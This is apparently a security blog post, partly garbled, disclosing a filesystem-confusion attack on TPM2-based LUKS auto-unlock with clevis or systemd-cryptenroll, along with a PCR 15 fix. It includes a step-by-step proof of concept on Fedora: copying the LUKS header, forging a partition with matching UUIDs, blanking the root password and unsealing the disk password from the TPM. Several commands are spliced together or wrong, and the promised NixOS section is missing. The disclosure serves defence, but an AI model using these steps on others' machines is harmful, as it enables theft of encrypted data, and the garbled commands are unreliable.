Have you setup automatic disk unlocking with TPM2 and
systemd-cryptenroll or clevis? Then
chances are high that your disk can be decrypted by an attacker who
just has brief physical access to your machine – with some
preparation, 10 minutes will suffice. In this article we will
explore how TPM2 based disk decryption works, and understand why
many setups are vulnerable to a kind of filesystem confusion
attack. We will follow along by exploiting two different real
systems (Fedora + clevis, NixOS + systemd-cryptenroll).
# Examples commands used to enroll a key into the TPM. Whether your system is
# suffers from this issue does not depend on which PCRs you choose here.
systemd-cryptenroll –tpm2-pcrs=0+2+7 –tpm2-device=auto
clevis luks bind -d tpm2 ‘{“pcr_bank”:”sha256″,”pcr_ids”:”0,1,2,7″}’
TL;DR: Most TPM2 unlock setups fail to verify
the LUKS identity of the decrypted partition. Since the initrd must
reside in an unencrypted boot partition, an attacker can inspect it
to learn how it decrypts the disk and also what type of filesystem
it expects to find inside. By recreating the LUKS partition with a
known key, we can confuse the initrd into executing a malicious
init executable. Since the TPM state will not be
altered in any way by this fake partition, the original LUKS key
can be unsealed from the TPM. Afterwards, the initial disk state
can be fully restored and then decrypted using the obtained
key.
You are safe if you additionally use a pin to unlock your TPM,
or use an initrd that properly asserts the LUKS identity (which
would involve manual work, so you’d probably know if that is the
case).
🔗
The idea behind TPM2 based disk decryptionThe idea behind secure and password-less disk decryption is that
the TPM2 can store an additional LUKS key which your system can
only retrieve, if the TPM is in a predetermined, known-good state.
This state is recorded in the so-called Platform Configuration
Registers (PCRs), of which there are 24 in a standard compliant
TPM. Their intended use is described in the Linux TPM PCR Registry but also neatly summarized as a table in
the systemd-cryptenroll(1) man page.
These registers store hashes which are successively updated
while booting based on information like the bootlaoder hash, the
firmware in use, the booted kernel, initrd image and a lot more
things. By establishing a chain of trust through all components
involved in booting up to the linux userspace, we can ensure that
altering any component will affect one or several PCRs. Storing
data in the TPM requires you to select a list of PCRs and it will
ensure that the data can only be retrieved again if all of these
PCRs are in the same state as when enrolling the secret.
Several of these registers have an agreed-upon purpose and are
updated with some specific information about your system, such as
your board’s firmware, your BIOS configuration, OptionROMs (extra
firmware loaded from external devices such as PCIe devices after
POST), the secure boot policy, or other things. Here’s an excerpt
from the man page from above containing some of the registers that
are important to us:
PCRNameExplanation0platform-codeCore system firmware executable code; changes on firmware
updates2external-codeExtended or pluggable executable code; includes option ROMs on
pluggable hardware7secure-boot-policySecure Boot state; changes when UEFI SecureBoot mode is
enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …)
changes.15system-identitysystemd-cryptsetup(8) optionally measures the volume key of
activated LUKS volumes into this PCR. systemd-pcrmachine.service(8)
measures the machine-id(5) into this PCR. [email protected](8)
measures mount points, file system UUIDs, labels, partition UUIDs
of the root and /var/ filesystems into this PCR.Below this list, an interesting piece of information is given in
the man page about the intended use of PCRs for encrypted
volumes:
In general, encrypted volumes would be bound to some combination
of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow
firmware and OS version updates, it is typically not advisable to
use PCRs such as 0 and 2, since the program code they cover should
already be covered indirectly through the certificates measured
into PCR 7. Validation through certificates hashes is typically
preferable over validation through direct measurements as it is
less brittle in context of OS/firmware updates: the measurements
will change on every update, but signatures should remain
unchanged. See the Linux TPM PCR Registry for more discussion.
If you enroll your own secure boot keys and use a Unified Kernel
Image (UKI), then using just PCR 7 will be sufficient to ensure
integrity up to the point where we need to unlock our disk. Some
distributions instead ship EFI executables that are pre-signed with
the Microsoft keys, which allows them to enable secure boot by
default without requiring the user to generate and enroll anything
on their own. Since this also means that the user cannot sign their
kernel and/or initrd image, a trusted and pre-signed shim is often
used to measure the hash of the kernel and initrd before executing
them into PCR 9, which we would want to use in that case. Another
approach is to have the user generate a so-called Machine Owner Key
(MOK) if they want to sign something, in which case PCR 14 should
be used, too.
So the exact PCR selection may change a bit depending on the
user’s setup. A quick search on GitHub or on the internet reveals that many people still opt to use
additional PCRs like 0 and 2 in addition to 7, which is of course
fine but may result in keys becoming inaccessible when the BIOS or
some firmware is updated – which can be annoying.
🔗
A common (vulnerable) setupIf you already have secure boot set up, configuring TPM2 unlock
for your LUKS partition is usually very simple. Most guides will
resort to systemd-cryptenroll or clevis
which are different implementations that internally do some
variation of the following:
Add a newly generated key to your LUKS partitionSeal this key in your TPM based on your selection of PCRsStore the encrypted TPM context in the LUKS token metadata
which is required to unseal the secret at a later point in
timeBoth clevis and systemd-cryptenroll
can store tokens in other ways than a TPM2, for example using a
FIDO2 key. I found that clevis also supports
retrieving tokens from network resources, but other than that the
two tools are very similar in what they do.
systemd-cryptenroll just comes pre-packaged with
systemd so it is usually a bit simpler to use. Here is
an example:
systemd-cryptenroll –tpm2-pcrs=7 –tpm2-device=auto /dev/nvme0n1p3
In theory, the disk is now properly protected, assuming the
kernel command line cannot be edited, right? It can only be
decrypted if PCR 7 is unchanged, and anything we would do to the
bootloader, kernel or initrd would affect PCR 7.
Well, of course, I wouldn’t be asking if there wasn’t a tiny
caveat: Assuming all disks were mounted properly, the initrd can be
certain that no code has been modified up to this point. But it
does not automatically ensure that the data on them is
authentic. As the very last step, the initrd will execute the
init executable of the real system, which usually
doesn’t undergo any kind of signature check before it is executed.
And why would it have to – after all it is part of the encrypted
root partition which cannot be altered by an attacker.
🔗 The exploitFirst of all, it is important to know that the initrd will fall
back to a password prompt, if TPM unlocking fails for whatever
reason. A BIOS update could always cause the secure boot database
to be altered (thus invalidating PCR 7), or somebody makes a
mistake when updating the system and forgets to sign the kernel and
initrd properly. In such a case you don’t want to be locked out
from your system completely, so asking for the password is a sane
thing to do.
But that also means if we replace the encrypted partition with a
new LUKS partition (for which we choose the password), then the TPM
decryption will fail and we will be asked for the password, which
we control. After entering the password, the initrd will now think
it has decrypted the partition correctly and proceed. If we manage
to put the correct kind of filesystem inside of our fake LUKS
partition so that the actual mounting succeeds, we can ship a
malicious init binary that now has full access to the
unlocked TPM, thus allowing us to decrypt the original filesystem,
which we would have to backup before creating our malicious
partition.
Now you might think the initrd can simply verify the filesystem
UUID before mounting it since we cannot read it from the disk, but
remember that anything the initrd knows is public knowledge, as the
boot partition and initrd image are not encrypted. So we can just
reuse the same LUKS UUID and filesystem UUID if necessary.
🔗 Securing the systemTo solve this, we need to be able to authenticate all encrypted
volumes before accessing any file on them. In this
article by Lennart Poettering from October 2022, where he
describes the state of secure boot in systemd, he mentions how the
process should look like to make the system secure. It is a bit
involved so let me reiterate the important part.
After a disk has been unlocked, we want to derive a value from
its volume key (the master key used to encrypt all its data) and
use this value to extend PCR 15. This ensures that any fake volume
would change this value since the original volume key cannot be
known. Using systemd-cryptsetup instead of
cryptsetup can already take care of this by adding
tpm2-measure-pcr=yes to the crypttab file.
If we now ensure that the disk decryption order is
deterministic, then we can compare the value in PCR 15 against a
known and signed value in the initrd. If the wrong value is
observed, the initrd can now abort the boot process before
executing anything malicious.
🔗 Many broken guidesThere are loads of guides that describe in more detail how to
setup TPM2 based disk unlocking, and while the concept is always
the same, you will certainly find one adjusted to your favorite
distribution. Here’s a list of guides that I found online, sorted
by date:
Secure Boot &
TPM-backed Full Disk Encryption on NixOS (2024/04, NixOS,
systemd-cryptenroll)[HowTo] Using Secure Boot and TPM2 to unlock LUKS partition on
boot (2024/01, Manjaro, systemd-cryptenroll)[GUIDE] Setup TPM2 Autodecrypt (2023/10, Unspecified,
systemd-cryptenroll, Misuse of PCR 15)Debian with LUKS and TPM auto decryption (2023/09, Debian,
systemd-cryptenroll)Gentoo
Wiki – Trusted Platform Module/LUKS (2023/05, Gentoo,
clevis)Safe
automatic decryption of LUKS partition using TPM2 (2023/01,
Fedora, clevis, fedoramagazine)The
ultimate guide to Full Disk Encryption with TPM and Secure Boot
(2022/04, Debian, tpm2-initramfs-tool)Decrypt
LUKS volumes with a TPM on Fedora Linux (2022/03, Fedora,
systemd-cryptenroll)ArchWiki/User:Krin/Secure Boot, full disk encryption, and TPM2
unlocking install (2021/09, Arch Linux,
systemd-cryptenroll)Unfortunately, I did not find any guide that addresses this, so
most user setups are probably suffering from this issue. Though in
all fairness, whether this is an issue to you obviously depends on
your threat model. If you are using the TPM just to unlock your
home server which nobody else has physical access to, then maybe
this is a non-issue to you. But if you use this to protect the data
on your laptop against theft, then chances are you want to set a
TPM pin or implement PCR 15 verification as explained above.
Notably, I found that the ArchWiki entry of systemd-cryptenroll
acknowledges this issue in a warning near the end of the
article:
Only binding to PCRs measured pre-boot (PCRs 0-7) opens a
vulnerability from rogue operating systems. A rogue partition with
metadata copied from the real root filesystem (such as partition
UUID) can mimic the original partition. Then, initramfs will
attempt to mount the rogue partition as the root filesystem
(decryption failure will fall back to password entry), leaving
pre-boot PCRs unchanged. The rogue root filesystem with files
controlled by an attacker is still able to receive the decryption
key for the real root partition. See Brave New Trusted Boot World
and BitLocker documentation for additional information.
And while this is correct, just using any of the PCRs 8-23
doesn’t automatically protect your data either. The initrd still
has to ensure that the respective PCR is changed before executing
the system’s init binary, which is not done by
default.
🔗 Proof-of-concept exploitation of a Fedora machineNow, let’s have a look at a real system which we will setup in a
similar way to how anyone else would have done it. I’ve picked one
of the Fedora articles above, but you can expect this to work for
all of the other distributions, too. In summary, my setup included
the following steps:
Install Fedora 41, I chose an encrypted root with ext4 on
LUKSEnable secure boot in the BIOS (and install the Microsoft keys
since Fedora is signed with those keys)An interesting thing we notice right away is that the Fedora
bootloader is signed using the Microsoft keys. We’ve already
briefly talked about this in the beginning, this means it cannot
sign the initrd at all. Instead, they have a signed shim that is
executed after the bootloader which will calculate hashes of the
kernel and initrd and extend PCR 9 with those values. Therefore, it
is critical that we now include PCR 9 in our selection when
enrolling the key to the TPM, otherwise the initrd could just be
modified.
This approach has the advantage that the user doesn’t have to
deal with custom secure boot keys, but the downside is that every
kernel or initrd update will affect the value in PCR 9, thus
requiring us to re-enroll the key after rebooting on each system
update. Here is a snapshot of my PCRs when I enrolled the key into
the TPM. This is also the state that we need to reach later to
succeed.
[root@localhost]# systemd-analyze pcrs
NR NAME SHA256
0 platform-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5
1 platform-config 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d
2 external-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
3 external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
4 boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb
5 boot-loader-config 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f
6 host-platform 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
7 secure-boot-policy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17
8 – e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651
9 kernel-initrd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99
10 ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257
11 kernel-boot 0000000000000000000000000000000000000000000000000000000000000000
12 kernel-config 0000000000000000000000000000000000000000000000000000000000000000
13 sysexts 0000000000000000000000000000000000000000000000000000000000000000
14 shim-policy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc
15 system-identity 0000000000000000000000000000000000000000000000000000000000000000
16 debug 0000000000000000000000000000000000000000000000000000000000000000
17 – ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
18 – ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
19 – ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
20 – ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
21 – ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
22 – ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
23 application-support 0000000000000000000000000000000000000000000000000000000000000000
🔗 Inspecting the systemNow, let’s pretend we don’t know anything about the system and
that we just obtained physical access to the machine, which was
powered-off.
We start by taking the main disk out and putting it into our
machine. You may also be able to boot a Fedora or Debian live
image, if the owner has not wiped the Microsoft keys from their
BIOS in favor of their own. Once booted, we start investigating the
disk layout and partitions:
[root@localhost]# blkid
/dev/nvme0n1p1: LABEL_FATBOOT=”EFI” LABEL=”EFI” UUID=”E2AA-BB8B” BLOCK_SIZE=”512″ TYPE=”vfat” PARTLABEL=”EFI System Partition” PARTUUID=”b9cd5e99-00ec-45e8-be33-72809ae30602″
/dev/nvme0n1p2: LABEL=”boot” UUID=”d0a1796a-5c1e-446f-8b70-2910d094d195″ BLOCK_SIZE=”4096″ TYPE=”ext4″ PARTUUID=”e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9″
/dev/nvme0n1p3: UUID=”779328d5-00ca-4ade-be44-6daa549642ed” TYPE=”crypto_LUKS” PARTUUID=”4e73c89f-3840-458a-ada6-0f5349ab36e1″
We take a quick peek at the encrypted partition, which is our
main target:
[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3
LUKS header information
Version: 2
Epoch: 9
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 779328d5-00ca-4ade-be44-6daa549642ed
# […]
Tokens:
0: clevis
Keyslot: 1
# […]
We can already see that the system owner has used
clevis to configure the automated unlocking. What we
want to find for now is the initrd and kernel command line, so some
GRUB or systemd-boot configuration file. Since Fedora uses
pre-signed images, the EFI partition will only contain the loader
and shim, which shouldn’t contain any information about the actual
system. But the boot partition /dev/nvme0n1p2 looks
promising, so let’s mount it and see what we find:
[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot
[root@localhost]# ls -l /mnt/boot
total 222500
dr-xr-xr-x. 6 root root 4096 Jan 13 23:09 ./
dr-xr-xr-x. 19 root root 4096 Jan 13 23:06 ../
-rw-r–r–. 1 root root 277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64
drwx——. 3 root root 4096 Jan 1 1970 efi/
drwx——. 3 root root 4096 Jan 13 23:10 grub2/
-rw——-. 1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img
-rw——-. 1 root root 45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img
drwxr-xr-x. 3 root root 4096 Jan 13 23:06 loader/
drwx——. 2 root root 16384 Jan 13 23:05 lost+found/
-rw-r–r–. 1 root root 182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz
-rw-r–r–. 1 root root 9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64
-rwxr-xr-x. 1 root root 16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e*
-rwxr-xr-x. 1 root root 16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64*
-rw-r–r–. 1 root root 161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac
Great! There are the kernel and initrd images plus a
loader/ directory containing some GRUB entry
configurations. We will take a look at those configuration files
first:
[root@localhost]# ls -l /mnt/boot/loader/entries
-rw-r–r–. 1 root root 445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf
-rw-r–r–. 1 root root 369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition)
version 6.11.4-301.fc41.x86_64
linux /vmlinuz-6.11.4-301.fc41.x86_64
initrd /initramfs-6.11.4-301.fc41.x86_64.img
options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet
grub_users $grub_users
grub_arg –unrestricted
grub_class fedora
Wow, this is looks like we already found all the important
information! Judging from the commandline syntax, this is likely an
initrd that was generated by dracut. There seems to be a LUKS
encrypted partition with UUID
779328d5-00ca-4ade-be44-6daa549642ed and a root file
system with UUID 1a887df4-286d-4842-bd66-d8993e8596d2,
which is certainly inside of the LUKS partition. The type of
filesystem is not specified, so we are free to choose anything that
is supported by the initramfs for our fake.
🔗 Planning our exploitIn theory, we’d need to find out one additional thing – the
binary that will be called by the initrd when it want’s to switch
to the real system. But the chances are very high that it is
/sbin/init (this is not the case on all systems
though, see the NixOS PoC below for an example). If our assumption
doesn’t work out, we can still double check by extracting the
initrd later.
In order to confuse the initrd, we now need to:
Backup the original LUKS parition so we can later decrypt
itReplace the LUKS partition with a fake LUKS partition that has
the UUID 779328d5-00ca-4ade-be44-6daa549642edThis LUKS partition must contain a filesystem with UUID
1a887df4-286d-4842-bd66-d8993e8596d2The inner filesystem contains a /sbin/init binary
that does what we wantWe may actually only backup the first few megabytes of the
original LUKS partition and make sure our fake partition is exactly
the same size as our backup. By overwriting just the beginning in
this way we don’t have to do a full disk backup, which would
otherwise take a very long time and would require us to bring a
spare disk with us.
🔗 Backup the beginning of the original LUKS partition[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1
We’ll abuse the free space on the boot partition to store this
backup, which makes it easy to access later. If you don’t want to
tamper too much with the original disk, you can of course use a
small thumb drive.
🔗 Create fake partition and filesystem with matching
UUIDsNext, we create a 64MB file in which we will
prepare our partition. The size is a bit arbitrary, it just needs
to cover the LUKS and inner filesystem header and must fit our
exploit binary. So we initialize a new LUKS partition with the UUID
from above, and then open it and format its contents with
ext4:
[root@localhost]# truncate -s 64MB /root/fakeluks
[root@localhost]# cryptsetup luksFormat /root/fakeluks –key-file /mnt/root/etc/resolv.conf # Just for DNS resolution at this moment, so we can install packages in the chroot
[root@localhost]# chroot /mnt/root /sbin/apk add # Install some tools that we need
tpm2-tools tpm2-tss-tcti-device jose cryptsetup
[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm
“https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2”
[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm # Helper to retrieve password from TPM2
[root@localhost]# sed -i ‘s/root:x/root:/’ /mnt/root/etc/passwd # Remove root password
🔗
Overwriting the partitionFinally, we unmount our fake filesystem and overwrite the first
64MB of the original partition with it, then put the
disk back into the original machine and reboot:
[root@localhost]# umount /mnt/root
[root@localhost]# cryptsetup close /dev/mapper/fakeluks
[root@localhost]# sync
[root@localhost]# dd if=/root/fakeluks of=/root/luks-original.bak bs=64M count=1
We will now be asked for the LUKS password we just set, since
the automatic decryption will obviously not trigger on our fake
partition, which has no token metadata. After entering our password
from above, we are greeted by the Alpine image. We can login as
root without a password:
Welcome to Alpine Linux 3.21
Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)
localhost login: root
Welcome to Alpine!
localhost:~#
🔗 Verifying PCRsNow let’s check whether any of the PCRs was affected by our
operation:
localhost:~# tpm2_pcrread
sha1:
sha256:
0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5
1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D
2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB
5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F
6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17
8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651
9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99
10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257
11: 0x0000000000000000000000000000000000000000000000000000000000000000
12: 0x0000000000000000000000000000000000000000000000000000000000000000
13: 0x0000000000000000000000000000000000000000000000000000000000000000
14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC
15: 0x0000000000000000000000000000000000000000000000000000000000000000
16: 0x0000000000000000000000000000000000000000000000000000000000000000
17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
23: 0x0000000000000000000000000000000000000000000000000000000000000000
sha384:
sm3_256:
The output format is slightly different to that of
systemd-analyze pcrs, but we can see that all values
are the same as in the real system. Some boards may have different
values in PCR 1 after every power cycle, but don’t worry, in that
case you can be sure that the owner didn’t use it either. So this
means our attack was successful! We can now go ahead and retrieve
the volume key of the original partition.
By quickly skimming the clevis source we find that it stores a JWE token in the
LUKS header, which contains an encrypted secondary key to unlock
the partition. It also contains some metadata required to have it
decrypted by the TPM, like which PCRs have to be used in the TPM
context. Back when we inspected the LUKS header, we found the
clevis token in slot 0, so let’s first extract this token:
localhost:~# mount -o remount,rw / # This alpine image is not writable by default
localhost:~# mount /dev/nvme0n1p1 /mnt
localhost:~# cryptsetup token export –token-id 0 /mnt/luks-original.bak | tee token.json
{
“type”: “clevis”,
“keyslots”: [
“1”
],
“jwe”: {
“ciphertext”: “hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS”,
“encrypted_key”: “”,
“iv”: “5zuFP0kEuqiCh0QL”,
“protected”: “eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ”,
“tag”: “7DIhyL_ZNocrUHTPr1PQWg”
}
}
Clevis would then proceed to extract a JWE token and hand it to
clevis-decrypt-tpm2 which decrypts it using the TPM,
so we replicate the procedure:
# Get the contents of the .jwe field
localhost:~# jose fmt -j token.json -Og jwe -o- | tee jwe.json
{
“ciphertext”: “hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS”,
“encrypted_key”: “”,
“iv”: “5zuFP0kEuqiCh0QL”,
“protected”: “eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ”,
“tag”: “7DIhyL_ZNocrUHTPr1PQWg”
}
# Convert this format into the actual JWE token format
localhost:~# jose jwe fmt -i jwe.json -c | tee token.txt
eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg
# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2
localhost:~# cat token.txt | tr -d ‘n’ | clevis-decrypt-tpm2
4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA
Awesome! We got a password out of it, which is the password
clevis originally added to the LUKS partition and
which can be used to unlock it! Let’s also dump the volume key for
future “safekeeping” 🤡:
[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak –dump-volume-key –volume-key-file volume-key.txt
–key-file
GIPHY App Key not set. Please check settings